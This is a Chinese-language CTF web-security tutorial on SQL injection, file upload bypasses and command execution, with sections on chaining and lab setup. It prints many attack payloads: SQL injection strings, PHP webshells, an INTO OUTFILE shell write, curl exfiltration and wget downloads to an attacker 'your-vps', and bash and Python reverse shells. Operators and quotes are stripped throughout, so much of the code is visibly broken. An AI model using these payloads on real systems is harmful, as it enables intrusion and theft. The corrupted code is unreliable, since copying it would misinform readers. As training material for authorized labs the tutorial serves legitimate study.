CTF Web安全入门:SQL注入、文件上传与命令执行三大核心漏洞详解 1. 项目概述从零到一理解CTF Web赛道的核心价值如果你刚接触网络安全或者对CTFCapture The Flag夺旗赛充满好奇看到“Web安全”这个赛道时可能会觉得它既神秘又复杂。各种漏洞名词、攻击手法层出不穷让人望而生畏。但我想告诉你的是对于新手而言CTF的Web赛道恰恰是最友好、最容易上手的切入点没有之一。为什么因为Web应用无处不在其安全问题有非常直观的体现你不需要一开始就去啃晦涩难懂的二进制逆向或者密码学原理而是可以直接通过浏览器、通过发送HTTP请求去和“靶场”互动亲眼看到攻击的效果这种即时反馈的乐趣是其他赛道难以比拟的。这个“新手必藏”的系列目标就是帮你拨开迷雾直击核心。我们不讲空泛的理论而是聚焦于CTF Web题目中最常见、最核心的三大类漏洞SQL注入、文件上传和命令执行。为什么是这三个根据我多年打比赛和出题的经验在国内外各大CTF赛事中尤其是入门和中级难度的Web题这三大漏洞及其组合变种其分值占比常常能超过总分的一半。换句话说只要你真正吃透了这三大漏洞的原理、利用手法和防御绕过技巧你就已经具备了在大部分CTF比赛中“捞分”的能力甚至能解决不少中高难度的题目。这绝不是夸张而是因为它们是Web安全的基石后续很多复杂的漏洞场景比如反序列化、SSRF服务器端请求伪造、甚至是某些逻辑漏洞其底层思维和利用链的构造都离不开对这三大基础漏洞的深刻理解。学习路径上我建议你准备好两样东西一个是带有浏览器开发者工具F12的电脑另一个是能本地搭建的漏洞练习环境比如pikachu、DVWA或Web for Pentester。我们将以“动手实操-理解原理-总结技巧”的循环来推进。别怕一开始看不懂代码我们的目标是先学会“用”在用的过程中你会自然而然地产生“为什么这样能行”的疑问那时再去深究原理事半功倍。2. 核心漏洞一SQL注入——数据库的“万能钥匙”SQL注入SQL Injection堪称Web安全漏洞的“祖师爷”历史久远但生命力极其顽强。它的核心原理非常简单Web应用程序在拼接用户输入的数据到SQL查询语句中时没有进行充分的过滤或转义导致攻击者可以插入恶意的SQL代码从而操纵数据库查询的逻辑。2.1 注入原理与基础探测手法想象一下一个网站的登录功能后端代码可能是这样的以PHP为例$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username $username AND password $password;当你输入用户名admin和密码123456时生成的SQL语句是SELECT * FROM users WHERE username admin AND password 123456这没问题。但如果我在用户名字段输入admin --注意--后面有个空格在SQL中是注释符密码随便输入语句就变成了SELECT * FROM users WHERE username admin -- AND password 随便--之后的内容被注释掉了这意味着查询条件变成了username admin完全绕过了密码验证。这就是最经典的“万能密码”绕过登录。在实际CTF中题目不会这么直白。我们的第一步永远是探测。发现一个可能有注入的点比如?id1我会按顺序尝试以下payload添加单引号?id1。如果页面返回错误如SQL语法错误或与正常页面不同说明可能存在字符型注入。添加双引号?id1。探测双引号包裹的情况。逻辑测试?id1 and 11和?id1 and 12。如果11时页面正常12时页面异常无数据或报错说明存在数字型注入且参数直接参与运算。注释符测试尝试用--URL中代表空格、#URL编码为%23来注释掉后续语句观察页面变化。实操心得浏览器的地址栏会对特殊字符进行URL编码。手动测试时我习惯先用浏览器插件如HackBar或直接使用Burp Suite的Repeater模块来发送请求这样能精准控制payload。and 11测试时一定要对比and 12的结果有时页面模板在无数据时展示空白差异不明显需要查看响应包长度或搜索特定关键词来判断。2.2 联合查询注入的完整利用链探测到注入点后最常用的利用手法就是联合查询Union Query。它的目标是通过UNION操作符将我们自定义的查询结果拼接到原查询结果中从而泄露数据。步骤非常标准化判断字段数使用ORDER BY子句。?id1 order by 1正常order by 2正常...直到order by N时出错说明字段数为N-1。也可以用UNION SELECT NULL, NULL...来试直到页面正常。确定回显位字段数假设为3。构造?id-1 union select 1,2,3。这里id-1是为了让原查询无结果从而页面只显示我们union select的结果。观察页面中哪个数字被显示出来比如显示了2和3那这两个位置就是我们可以插入查询语句的回显点。获取数据库信息利用回显位。替换数字为数据库函数?id-1 union select 1, database(), version()→ 获取当前数据库名和版本。?id-1 union select 1, user(), datadir→ 获取当前数据库用户和数据文件路径。枚举表名和列名这需要知道目标数据库的系统表。以MySQL为例查所有表名?id-1 union select 1, group_concat(table_name),3 from information_schema.tables where table_schemadatabase()假设查到表名users查其所有列名?id-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_nameusersgroup_concat()函数是为了把多行结果合并成一行方便显示。拖取数据最后一步?id-1 union select 1, group_concat(username, :, password),3 from users就能一次性把用户名密码都爆出来。注意事项UNION查询要求前后两个SELECT语句的列数必须相同。这就是为什么第一步确定字段数如此关键。另外如果页面没有直接回显数据盲注上述方法就行不通了需要用到基于布尔或时间的盲注技巧这更考验耐心和脚本能力。2.3 报错注入与盲注当页面不直接“说话”时不是所有注入点都会友好地把数据打印在页面上。CTF题目为了增加难度常常会关闭错误回显使union注入失效或者即使注入成功查询结果也不会展示给用户。这时就需要更高级的技巧。报错注入利用数据库函数的执行错误将查询结果带到错误信息中。例如MySQL的updatexml()或extractvalue()函数?id1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)updatexml第二个参数需要是合法的XPATH路径我们通过concat插入波浪符~和我们的查询结果构造一个非法XPATH数据库执行报错但报错信息里会包含~database_name~。这样我们就能从HTTP响应的错误提示中提取数据。这种方法效率很高不需要判断字段数但需要目标网站开启数据库错误回显通常开发或调试环境会开启。布尔盲注页面没有回显没有报错但会根据查询条件是真还是假返回不同的页面状态比如一个正常页面一个404页面。我们的攻击就像在玩“猜数字”游戏。通过and连接查询条件逐个字符地猜测数据。 例如猜测数据库名第一个字符?id1 and ascii(substr(database(),1,1))100。如果页面正常说明ASCII码大于100再调整数值二分查找直到确定准确字符。这个过程极其繁琐必须借助Python等脚本自动化进行。时间盲注这是最隐蔽的。页面无论查询真假返回内容都一样。但我们能通过让数据库“睡眠”来制造差异。?id1 and if(ascii(substr(database(),1,1))100, sleep(3), 0)。如果第一个字符的ASCII码大于100页面响应会延迟3秒否则立即返回。通过测量响应时间我们同样能推断出数据。时间盲注速度最慢网络波动会影响判断。排查技巧实录遇到一个疑似注入但union和报错都不管用的点我首先会尝试最简单的and sleep(5)看响应是否明显延迟快速判断时间盲注的可能性。如果延迟不明显再系统地进行布尔盲注测试比如and 11和and 12的返回内容是否有细微差别标题不同、某个隐藏标签不同这需要用到Burp Suite的Comparer功能进行差异对比。3. 核心漏洞二文件上传——通往服务器内部的“任意门”如果说SQL注入是窃取数据的“万能钥匙”那么文件上传漏洞就是获取服务器控制权的“任意门”。它的原理是Web应用允许用户上传文件但后端对上传文件的过滤不严如仅在前端JavaScript验证、未检查文件内容、黑名单过滤不全等导致攻击者可以上传恶意的脚本文件如PHP、JSP并能够通过Web访问到这个文件从而在服务器上执行任意命令。3.1 前端绕过与MIME类型欺骗这是最简单的绕过。很多新手开发者只在网页上用JavaScript检查文件后缀名。function checkFile() { var file document.getElementById(upload).value; if (!file.endsWith(.jpg) !file.endsWith(.png)) { alert(只允许上传图片); return false; } return true; }绕过方法极其简单直接使用Burp Suite拦截上传请求将文件名shell.php修改为shell.jpg或者将Content-Type字段从application/x-php改为image/jpeg然后放行请求即可。后端如果只信任这两个值就会被欺骗。实操心得永远不要信任客户端提交的任何数据。这是安全开发的第一铁律。作为攻击方我们的第一反应就是“拦截并修改请求”。Burp Suite的Proxy模块是进行这类测试的瑞士军刀。上传一个正常图片拦截然后尝试修改文件名、Content-Type甚至是在图片末尾追加PHP代码后面会讲是标准流程。3.2 黑名单绕过与解析漏洞后端采用黑名单机制禁止上传.php,.asp,.jsp等后缀。绕过方法五花八门大小写绕过Php,pHP。在Windows服务器上文件名不区分大小写。双写绕过如果过滤逻辑是删除php字符串可以上传shell.pphphp删除后变成shell.php。特殊后缀.php5,.phtml,.phps。这些后缀在某些服务器配置下如Apache的AddType指令依然会被当作PHP解析。点号空格绕过shell.php.或shell.php末尾有空格。在Windows系统中文件后缀以最后一个点号为准系统会自动去除末尾的点和空格最终保存为shell.php。配合解析漏洞这是杀手锏。例如古老的IIS 6.0的“目录解析漏洞”/upload/shell.asp;.jpg会被当作ASP执行和“文件解析漏洞”*.asp目录下的所有文件都会被当作ASP执行。还有Apache的“多后缀解析漏洞”如果配置了AddHandler php5-script .php那么shell.php.jpg也可能被当作PHP执行因为Apache从右向左识别遇到.php就交给PHP处理器。3.3 文件内容检查与绕过技巧更安全的做法是检查文件内容比如检查文件头Magic Bytes。一个JPEG图片的文件头是FF D8 FF E0。我们可以制作一个“图片马”用copy命令Windows或cat命令Linux将一个图片和一个PHP webshell拼接起来。# Linux/Mac cat normal.jpg shell.php shell.jpg.php这样文件开头是合法的图片头能通过检查但后半部分包含PHP代码。如果服务器只检查文件头就能绕过。更高级的检查会使用getimagesize()等函数获取图片尺寸如果文件不是有效图片则返回false。这时需要更专业的工具如exiftool将PHP代码写入图片的EXIF元数据中exiftool -Comment?php system($_GET[cmd]); ? normal.jpg上传后如果服务器存在“文件包含漏洞”下一个重点就能包含这个图片并执行其中的PHP代码。注意事项上传成功后最关键的一步是找到文件的访问路径。题目可能不会直接告诉你文件存到了哪里。常见的路径有/upload/、/uploads/、/files/、/assets/或者直接回显在页面上。可以尝试用目录扫描工具如dirsearch去发现上传目录。另外上传的文件名可能被重命名需要观察返回的提示信息或查看页面源码有时路径就藏在其中。4. 核心漏洞三命令执行与代码注入——从Web到系统命令执行漏洞RCE, Remote Code/Command Execution是Web安全的“皇冠”危害性最大。它允许攻击者通过Web应用在后端服务器操作系统上执行任意命令。这通常是因为应用将用户输入直接拼接到了系统命令中。4.1 系统命令执行漏洞的利用一个典型的危险代码PHP$ip $_GET[ip]; system(ping -c 4 . $ip);如果用户输入127.0.0.1; whoami拼接后的命令就是ping -c 4 127.0.0.1; whoami。在Linux中分号;是命令分隔符这意味着ping执行完后会继续执行whoami命令输出当前用户。常用的命令连接符和绕过技巧连接符;顺序执行无论前一个命令成功与否。后台执行前后命令异步执行。前一个命令成功返回0才执行后一个。||前一个命令失败返回非0才执行后一个。|管道符将前一个命令的输出作为后一个命令的输入。绕过空格过滤空格是命令解析的关键分隔符如果被过滤可以用以下替代重定向符${IFS}Bash的内部字段分隔符$IFS$9$9是第九个参数通常为空组合起来相当于空格%09URL编码的tab绕过关键字过滤拼接awho;bami; $a$b变量替换/???/??t /???/p?ss??d用通配符?匹配/bin/cat /etc/passwd编码echo Y2F0IC9ldGMvcGFzc3dkCg | base64 -d | bashBase64编码绕过引号cat /etc/passwd4.2 Web Shell的写入与连接通过命令执行漏洞我们的终极目标往往是写入一个Web Shell获得一个更稳定的控制通道。假设我们已经可以执行命令并且知道网站根目录是/var/www/html。直接写入echo ?php eval($_POST[cmd]);? /var/www/html/shell.php使用wget或curl从远程下载wget http://your-vps/shell.php -O /var/www/html/shell.php在Windows上可以用certutil或bitsadmin下载。写入成功后就可以用中国菜刀、蚁剑、冰蝎等Web Shell管理工具进行连接实现文件管理、数据库操作、内网渗透等。在CTF中通常只需要执行命令读取flag文件即可常用命令是cat /flag或type flag.txt。4.3 代码注入与危险函数除了系统命令在PHP等语言中直接执行用户输入的代码同样危险。相关函数包括eval()将字符串作为PHP代码执行。?cmdphpinfo();assert()同样会执行代码常用于调试。preg_replace()的/e修饰符已废弃在替换时执行代码。create_function()动态创建匿名函数内部使用eval。call_user_func()/array_map()等如果参数可控也可能导致代码执行。代码注入的利用更灵活因为是在Web应用本身的上下文环境中。例如可以通过phpinfo()函数查看服务器配置通过scandir(.)列出当前目录通过file_get_contents(/flag)读取文件。如果存在include或require函数还可能结合文件包含漏洞实现更复杂的攻击链。常见问题与排查执行命令后没回显可能是输出被重定向了或者命令执行函数被禁用如system,exec被列入disable_functions。可以尝试DNS外带使用ping或curl将命令结果带到DNS查询中。curl http://result.your-vps.com在自己的VPS上查看DNS日志。HTTP外带用curl或wget将命令结果作为URL参数或POST数据发送到自己的服务器。curl -X POST http://your-vps/receive -d $(ls -la)写入文件再访问把命令输出写入到一个Web可访问的文件里。ls -la /var/www/html/result.txt然后去访问这个文件。 这些技巧在“盲命令执行”的场景下至关重要。5. 漏洞组合与实战进阶不止于单一利用真实的CTF题目和渗透测试中很少会只考一个孤立的漏洞。出题人喜欢将多个漏洞串联起来形成一道“综合题”。理解漏洞之间的组合关系是进阶的关键。5.1 文件上传文件包含LFI/RFI这是最经典的组合拳。你发现一个文件上传点但服务器对后缀名检查非常严格你无法上传.php文件。同时你发现另一个功能点存在“本地文件包含”LFI漏洞比如?page../../etc/passwd。 这时你可以上传一个内容为PHP代码的文本文件比如.txt或者利用图片马。然后通过文件包含漏洞去包含这个上传的文件?page./uploads/your_shell.jpg。只要服务器配置允许如php.ini中allow_url_include开启包含的文件中的PHP代码就会被执行。如果allow_url_include开启甚至可以直接包含远程服务器上的Web ShellRFI?pagehttp://your-vps/shell.txt。5.2 SQL注入文件写入Into Outfile在MySQL注入中如果当前数据库用户拥有FILE权限并且知道网站的绝对路径就可以利用SELECT ... INTO OUTFILE语句将查询结果写入一个文件。这可以用来写入Web Shell。?id1 union select ?php eval($_POST[cmd]);?,2 into outfile /var/www/html/shell.php但这里有两个关键点1) 目标路径需要引号包裹且要注意转义。2) 写入的Web Shell代码必须作为一个或多个字段被SELECT出来。有时需要将代码进行十六进制编码来避免引号问题union select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile ...。5.3 命令执行获取交互式Shell通过Web RCE执行单条命令是有限的我们想要一个完整的、交互式的Shell比如/bin/bash。这就需要用到反弹ShellReverse Shell的技术。 在攻击机上监听一个端口nc -lvnp 4444在目标机的Web RCE点执行Linuxbash -c bash -i /dev/tcp/攻击机IP/4444 01 # 或者使用多种其他方式 python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);执行成功后攻击机的nc监听端就会获得一个来自目标机的Shell可以执行交互式命令。这在CTF中可能用于需要多步操作才能拿到flag的场景。5.4 逻辑漏洞的挖掘思路除了上述技术型漏洞CTF Web题也常考逻辑漏洞Business Logic Flaws。这类漏洞不依赖特定的技术栈而是源于程序业务流程设计上的缺陷。常见类型有越权访问包括水平越权访问同级别其他用户的数据和垂直越权普通用户访问管理员功能。测试方法登录两个不同权限的账号互换请求中的身份标识如Cookie、用户ID参数看是否能访问不属于自己的数据或功能。密码重置漏洞重置密码的令牌可预测、过期时间过长、绑定步骤可绕过。例如重置密码链接中的token参数是顺序数字或者验证码直接返回在响应包里。竞争条件在并发操作时由于检查如余额检查和操作如扣款非原子性导致逻辑错误。比如“一分钱买iphone”在检查余额充足后、实际扣款前瞬间发起多次购买请求。支付漏洞修改支付金额参数如将price100改为price0.01、修改商品数量为负数导致总价变负余额增加等。挖掘逻辑漏洞没有固定payload更需要的是理解业务逻辑并像“攻击者”一样思考“如果我在这里不按正常流程走会发生什么” 多使用Burp Suite的Repeater模块对关键请求登录、注册、支付、修改信息的参数进行反复篡改和重放测试。6. 工具链与实战环境搭建工欲善其事理论懂了必须上手练习。一套顺手的工具和一个安全的练习环境至关重要。6.1 核心工具推荐与使用心法Burp Suite Community必备HTTP代理神器。新手重点掌握Proxy拦截修改请求、Repeater重放请求、Intruder用于爆破和模糊测试和Comparer对比响应差异四个模块。它的Scanner功能社区版有限制但对于学习手动测试更有帮助。心法不要依赖自动化扫描。手动测试时把Burp当作你的“请求编辑器”和“笔记本”。每一个测试步骤、每一个payload、每一个响应都通过Proxy history记录下来方便回溯和分析。浏览器开发者工具F12前端分析必备。查看源码、监控网络请求Network、调试JavaScriptConsole, Sources、修改Cookie和本地存储Application。Dirsearch / Gobuster目录和文件扫描工具。用于发现网站隐藏的目录、备份文件如www.zip,bak、后台登录入口等。在CTF中robots.txt,.git/,.svn/,phpinfo.php往往是突破口。SQLMap自动化SQL注入工具。功能强大但新手慎用。我强烈建议你先完全手动完成注入流程理解每一步在做什么。之后可以用SQLMap来验证你的发现或者处理一些复杂的盲注。直接用它“扫”题目你会错过最重要的学习过程。AntSword蚁剑 / CKnife中国菜刀Web Shell管理工具。在文件上传漏洞利用成功后用于连接和管理Web Shell。蚁剑功能更现代支持插件和编码器能绕过一些WAF。Netcat (nc)网络瑞士军刀。用于端口扫描、传输文件、反弹Shell监听。命令简单但功能强大。6.2 本地漏洞环境搭建永远不要在未经授权的真实网站上进行测试搭建本地环境是最安全、最自由的学习方式。PHPStudy / XAMPP在Windows上快速搭建ApachePHPMySQL环境。然后去下载漏洞练习平台。漏洞练习平台Pikachu覆盖了绝大多数Web漏洞类型中文界面对新手非常友好每个漏洞都有简要提示。DVWA (Damn Vulnerable Web Application)经典平台可以设置漏洞难度Low, Medium, High, Impossible让你看到不同防御级别下的攻击手法。Web for Pentester/Web Security Dojo更偏向于专业渗透测试训练。CTF赛题复现环境很多CTF比赛结束后选手会将自己出的题目打包成Docker镜像发布在GitHub上。搜索ctf web challenge docker能找到大量资源。Docker当前最推荐的部署方式。一条命令就能拉取并运行一个完整的漏洞环境隔离性好不污染宿主机。# 例如运行DVWA docker pull vulnerables/web-dvwa docker run --rm -it -p 80:80 vulnerables/web-dvwa访问http://localhost即可。对于复杂的CTF题目环境Docker-compose文件更是标配。6.3 CTF解题通用思路框架面对一道陌生的Web题我通常会遵循以下步骤这能帮你避免像无头苍蝇一样乱试信息收集看仔细浏览网站每个功能点查看页面源码、JS文件、注释。扫用目录扫描工具扫常见路径、备份文件。探检查robots.txtcrossdomain.xmlsitemap.xml。查看HTTP响应头寻找服务器、框架、语言信息。功能分析每一个输入框、按钮、链接都尝试交互。关注“非核心”功能如留言板、头像上传、数据导出、忘记密码这些往往是漏洞高发区。使用Burp抓取所有请求观察参数。漏洞测试对每一个用户可控的输入点系统性地测试三大漏洞。SQLi尝试and 11sleep(5)。文件上传尝试上传不同后缀、不同内容、不同编码的文件拦截修改请求。命令/代码执行尝试;|$(whoami)?php phpinfo();?。测试越权更换Cookie、用户ID参数。测试逻辑尝试跳过步骤、重复提交、修改金额数量等。利用与提权发现漏洞后思考如何最大化利用读文件、执行命令、写Web Shell。拿到基础权限如www-data用户后尝试信息收集uname -acat /etc/passwdps aux寻找提权路径SUID文件、内核漏洞、数据库提权等。这在综合渗透题中常见。寻找FlagFlag可能在数据库里、某个文件里/flag/home/ctf/flag、环境变量里甚至需要你破解本地服务才能拿到。拿到Shell后要仔细搜索。常用命令find / -name *flag* 2/dev/nullgrep -r flag{ / 2/dev/null。这套流程不是线性的而是一个循环。信息收集可能发现新功能测试漏洞可能触发新路径。保持耐心和系统性是关键。最后别忘了所有操作都在你自己搭建的靶场里进行尽情测试大胆尝试每一个错误都是宝贵的经验。当你吃透了这三大漏洞及其组合CTF Web赛道的过半江山已在你掌中。